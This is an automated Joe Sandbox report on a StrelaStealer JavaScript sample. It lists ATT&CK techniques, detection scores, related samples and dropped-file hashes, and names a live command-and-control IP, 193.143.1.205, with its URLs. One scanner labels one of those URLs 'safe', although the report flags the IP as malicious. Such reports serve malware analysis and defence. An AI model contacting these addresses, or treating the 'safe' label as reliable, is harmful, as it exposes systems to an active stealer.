Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
183262889860027833.js	7%	Virustotal		Browse
183262889860027833.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/4	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2599067840.00000203BF000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.1384953427.00000203BED80000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/4	net.exe, 00000007.00000002.1385084003.00000276A2537000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1382000433.00000276A2537000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1381824111.00000276A255B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1385166765.00000276A255D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1385084003.00000276A2537000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1382000433.00000276A2537000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1384968926.00000276A2508000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588796
Start date and time:	2025-01-11 05:34:49 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	183262889860027833.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/56@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 13.107.246.45, 34.237.241.83, 4.175.87.197, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:35:49	API Interceptor	24x Sleep call for process: powershell.exe modified
23:35:53	API Interceptor	1x Sleep call for process: net.exe modified
23:35:53	API Interceptor	2x Sleep call for process: svchost.exe modified
23:36:01	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	158324772041924674.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10256249222235922013.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6734200751517017767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	584319483127519041.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8008356632269602
Encrypted:	false
SSDEEP:	1536:CJD1YBdWK7S50AhnZ0Ag0ALzJVEbJBJlPVPEH3cNkPfF7Njg9QaQfOgFrGXuE5Tu:CJC5rk0X+MbJ72D4qgfiaDhvO7VMBf9
MD5:	DDBDF9619DD79C18A296E9CADC510B4C
SHA1:	3BDF554CC7C632B78D26A4A9513B0E6464C9E320
SHA-256:	E6619B1D67FDB021033616F54508F0E3799F3448865141C76D8269731860B9B4
SHA-512:	599C4FA164A2DEA1DD0667F770DCBDED55DC216011992AFCE17411BDAB916782F7E94C491CFB1B4039BAB8950C4EB793C92362EFA1F1EB5B53014BF0CC0E9E99
Malicious:	false
Preview:	dg".........@..@%9...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................T.....#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x23a1726e, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7715584082897569
Encrypted:	false
SSDEEP:	1536:7SB2ESB2SSjlK/7vqlC06Z546I50AEzJ+Ykr3g16XWq2UPkLk+kFLKho38o38+W6:7aza9vqcHbrq2UyUVWlW
MD5:	8A610D5D5A92E082C098CF44E8ED8D1C
SHA1:	78BF1FA005080F655FEC1BF9D783F355AF986DD9
SHA-256:	68C1C8B74335E28AF3A25957D54F0AF63073E3C989FEC86D44092BAE9309FF3C
SHA-512:	A478DFA1DA546A34D35788EEF94AB7E59C8D1DC1DDD61E9234243DBC9A781BC3DEFBA6A61BEDEB69B5FFC0E52FF72CE06A7CF994520AD3E4D758392D440B7724
Malicious:	false
Preview:	#.rn... ...............X\...;...{......................0.p.....#....{..5#...}..h.r.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......%9...{...............................................................................................................................................................................................2...{..................................a...5#...}......................5#...}...........................#......h.r.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08172663387782099
Encrypted:	false
SSDEEP:	3:mt/KYen2uRMt3u08qrrvr+gvrr/tv2Mt//AllVmctlll/Sm1l1:m1KznJRZrgn/12sALPPv
MD5:	733A3A1CE180771CD8E66C6674A290E2
SHA1:	50AEDE991424C9D13437D7357C79F96CF6C69C2C
SHA-256:	875E3537C974A5ECD90E17683386D155AD924EF1CEEA8377C0E31C8E9DB3598B
SHA-512:	06BB6770A613BC87BF80CCB31E9E380BF6BCA33A5F8CF905AD326D6C90D9AA871B7BEB9CA8F2A0D8E473C09F708027D512622430E065C72E3C62AFB853781A82
Malicious:	false
Preview:	.B.......................................;...{..5#...}..#....{..........#....{..#....{...i..#....{.V....................5#...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.20432329802981
Encrypted:	false
SSDEEP:	6:iO4q7KDi23+q2PsZ2nKuAl9OmbnIFUtSq7KDiBDNZmwsq7KDiBDRVkwOsZ2nKuAR:7RiAvkcHAahFUtPikB/1ikb51cHAaSJ
MD5:	6FAC922A6E85AE19A6C1AF08FBA9F347
SHA1:	B3EA0AFCB8E5C8EFD4BF300E6BC85836F2493F7A
SHA-256:	7385A88046DD73BBBF5B35C0B7196089DDE7B09F25189755D6C32BEA50EB0C8A
SHA-512:	050F1BCAB363E5163D3F8FAC6594813C8A78B74DCE6D515FE50E118B5EE6E7DA4D9446EC78BF830DFF53587ACF1825BFADE3934C57A59E84DF1B282FA1E4B727
Malicious:	false
Preview:	2025/01/10-23:35:53.366 1ff8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:35:53.387 1ff8 Recovering log #3.2025/01/10-23:35:53.387 1ff8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.20432329802981
Encrypted:	false
SSDEEP:	6:iO4q7KDi23+q2PsZ2nKuAl9OmbnIFUtSq7KDiBDNZmwsq7KDiBDRVkwOsZ2nKuAR:7RiAvkcHAahFUtPikB/1ikb51cHAaSJ
MD5:	6FAC922A6E85AE19A6C1AF08FBA9F347
SHA1:	B3EA0AFCB8E5C8EFD4BF300E6BC85836F2493F7A
SHA-256:	7385A88046DD73BBBF5B35C0B7196089DDE7B09F25189755D6C32BEA50EB0C8A
SHA-512:	050F1BCAB363E5163D3F8FAC6594813C8A78B74DCE6D515FE50E118B5EE6E7DA4D9446EC78BF830DFF53587ACF1825BFADE3934C57A59E84DF1B282FA1E4B727
Malicious:	false
Preview:	2025/01/10-23:35:53.366 1ff8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:35:53.387 1ff8 Recovering log #3.2025/01/10-23:35:53.387 1ff8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.1810878980738035
Encrypted:	false
SSDEEP:	6:iO4q7KDKL4q2PsZ2nKuAl9Ombzo2jMGIFUtSq7KD2JZmwsq7KDfzkwOsZ2nKuAlx:7RiXvkcHAa8uFUtPig/1iL51cHAa8RJ
MD5:	131FA99C9725BCB3FB17E79B69243795
SHA1:	857B56BCAAC91896FDB00A513400A79BE2C6FBE1
SHA-256:	8473251574E9271FA25389CB14E968AA064AF5809F8E0DEF84C1C3B59109FD94
SHA-512:	A447F7113B3D5EBDECEA38980DFC39F605F298DE040074681B499C277FB6B90416C453CAEF7111C5ED9E59A8E60489BFAEE1791660E08053E53829A22BDF062C
Malicious:	false
Preview:	2025/01/10-23:35:53.444 b74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:35:53.446 b74 Recovering log #3.2025/01/10-23:35:53.447 b74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.1810878980738035
Encrypted:	false
SSDEEP:	6:iO4q7KDKL4q2PsZ2nKuAl9Ombzo2jMGIFUtSq7KD2JZmwsq7KDfzkwOsZ2nKuAlx:7RiXvkcHAa8uFUtPig/1iL51cHAa8RJ
MD5:	131FA99C9725BCB3FB17E79B69243795
SHA1:	857B56BCAAC91896FDB00A513400A79BE2C6FBE1
SHA-256:	8473251574E9271FA25389CB14E968AA064AF5809F8E0DEF84C1C3B59109FD94
SHA-512:	A447F7113B3D5EBDECEA38980DFC39F605F298DE040074681B499C277FB6B90416C453CAEF7111C5ED9E59A8E60489BFAEE1791660E08053E53829A22BDF062C
Malicious:	false
Preview:	2025/01/10-23:35:53.444 b74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:35:53.446 b74 Recovering log #3.2025/01/10-23:35:53.447 b74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3b51b241-b3cb-4e4a-abbf-eb871890fbec.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.950212625667001
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjshsBdOg2HMQXZcaq3QYiubPyP7E4T3y:Y2sRdsqsydMHq3QYhbC7nby
MD5:	C02475415089285AA4CE37995D687B4E
SHA1:	0D17767F8ABB675D3433867E7FCA41580D7612C6
SHA-256:	0151A60A777981775A41C0EDAE369C0AE82123C4E3EF82B63C30B1FD95575637
SHA-512:	C96E8E4017E7955FB6D22228245916DAF4815365EFFEF1125BAC6AD4D54AD66EEFA21FFF66EB6C40882F62976AB9FE87E8B81DA96201DBB43AE7E2B21704F898
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381130165121006","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133150},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.950212625667001
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjshsBdOg2HMQXZcaq3QYiubPyP7E4T3y:Y2sRdsqsydMHq3QYhbC7nby
MD5:	C02475415089285AA4CE37995D687B4E
SHA1:	0D17767F8ABB675D3433867E7FCA41580D7612C6
SHA-256:	0151A60A777981775A41C0EDAE369C0AE82123C4E3EF82B63C30B1FD95575637
SHA-512:	C96E8E4017E7955FB6D22228245916DAF4815365EFFEF1125BAC6AD4D54AD66EEFA21FFF66EB6C40882F62976AB9FE87E8B81DA96201DBB43AE7E2B21704F898
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381130165121006","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133150},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4553
Entropy (8bit):	5.228610212895479
Encrypted:	false
SSDEEP:	96:odxquQuhxqVAq0Czrh6CzxtSzK3/tjsqnlfjejy4XOlPXflgCfFO:oqupGVTbzrhtzxtSzK3/dRnlLejyE4vs
MD5:	40EBCE3693F21D0873BF526F37374E27
SHA1:	A12A04748260C4398FC17B76EBA6E5E6E4575991
SHA-256:	6F77E85382A18500B99715489D71CADE67BC31EF901FBF89937898C54A020598
SHA-512:	710C3BB196D12BBDD3283AED6E40558D006C21B16626FF229F4EF3375A9C527967C61ABEFFCFA81B95EB27EC1081CB6D2E7DF47B95E65F0829EB5BF7B8507724
Malicious:	false
Preview:	*...#................version.1..namespace-n.X.o................next-map-id.1.Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/.0gKY.r................next-map-id.2.Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.1^b..r................next-map-id.3.Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.2....o................next-map-id.4.Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/.3C[.[^...............Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/D..B^...............Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/..Ga...............Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.;0ca...............Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.\.go................next-map-id.5.Pnamespace-5e456334_9beb_4082_9dbc_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.158984801205045
Encrypted:	false
SSDEEP:	6:iO4q7KDkPwjIq2PsZ2nKuAl9OmbzNMxIFUtSq7KDkFJZmwsq7KDkJ9ukwOsZ2nKA:7RikIjIvkcHAa8jFUtPik//1ikJI51cv
MD5:	443324A548BF81B2BF1DDF2FBD4B31EF
SHA1:	2DDAEE95721E783E694C2AA9BDE22D30DE23C12A
SHA-256:	C22E28B461DB6AD877E41D88E63C37E1CBDC13F14B948D71A6C51E57F60B1B40
SHA-512:	98E08B4AEBF548219868CCE50E412648F8468E40596BE85DC998E15E3CD49A81F48A2E9E1502101BE06595DA82FC34271E7AB8D0E2CE9B42004FC7281A006F0F
Malicious:	false
Preview:	2025/01/10-23:35:53.513 b74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:35:53.514 b74 Recovering log #3.2025/01/10-23:35:53.515 b74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.158984801205045
Encrypted:	false
SSDEEP:	6:iO4q7KDkPwjIq2PsZ2nKuAl9OmbzNMxIFUtSq7KDkFJZmwsq7KDkJ9ukwOsZ2nKA:7RikIjIvkcHAa8jFUtPik//1ikJI51cv
MD5:	443324A548BF81B2BF1DDF2FBD4B31EF
SHA1:	2DDAEE95721E783E694C2AA9BDE22D30DE23C12A
SHA-256:	C22E28B461DB6AD877E41D88E63C37E1CBDC13F14B948D71A6C51E57F60B1B40
SHA-512:	98E08B4AEBF548219868CCE50E412648F8468E40596BE85DC998E15E3CD49A81F48A2E9E1502101BE06595DA82FC34271E7AB8D0E2CE9B42004FC7281A006F0F
Malicious:	false
Preview:	2025/01/10-23:35:53.513 b74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:35:53.514 b74 Recovering log #3.2025/01/10-23:35:53.515 b74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438526566122763
Encrypted:	false
SSDEEP:	384:yeCci5GBiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:NNurVgazUpUTTGt
MD5:	68DF0A26646A285B06C5A01DF463E38D
SHA1:	B69214998800809D390BE8083361744B5FC85A3F
SHA-256:	450EE1F75C2FB6B36C549AB4CFC8F090261B6B2C01E015996BD24931D5FB49DE
SHA-512:	CB94B114DB37E90AF91BA4A99242CA221F54E4E4F8BF2AFEC2D32CF29A8B80D796AF091B722BB790CD59835211898D3829ECDFCA09C60C71585556DD0FDBB5DC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7668145799203656
Encrypted:	false
SSDEEP:	48:7M6JioyVwaioyBLoy1C7oy16oy17/KOioy1noy1AYoy1Wioy1oioykioyBoy1no7:7VJuwa00WVXjBifb9IVXEBodRBkw
MD5:	9C1E558155C5E3D1768140DA3212A245
SHA1:	2CAED0E52CE9C09286CE2ECFD9B75E4815495857
SHA-256:	D34F3FFB35AFBCF5E680A592C525CA759A4CB4E3A07874E3C7F0AC8C67D41A9E
SHA-512:	4578F61D09E76A95092DF71AC9A1BA7A090A9204B2D414F07AAB9E3C5D5D277A4904C1AB54F873FEF630F2ABBDFDB372404995BDD01CEF0C83BFC073E06F19AD
Malicious:	false
Preview:	.... .c.....P.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
